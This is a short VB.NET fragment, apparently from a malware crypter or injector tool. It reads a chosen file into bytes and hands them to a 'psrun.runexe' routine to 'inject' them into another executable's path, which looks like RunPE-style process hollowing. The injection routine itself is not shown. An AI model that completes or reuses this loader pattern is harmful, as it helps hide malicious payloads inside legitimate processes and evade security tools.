Dim TheByte As String
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        TheByte = Space(LOF(1))
        FileGet(1, TheByte)
        FileClose(1)

        Dim byte_to_inject As Byte() = System.Text.Encoding.GetEncoding(1252).GetBytes(TheByte)
        Dim path_where_inject_to As String = TextBox2.Text ' get the path where we want to inject the byte array

        psrun.runexe(byte_to_inject, path_where_inject_to)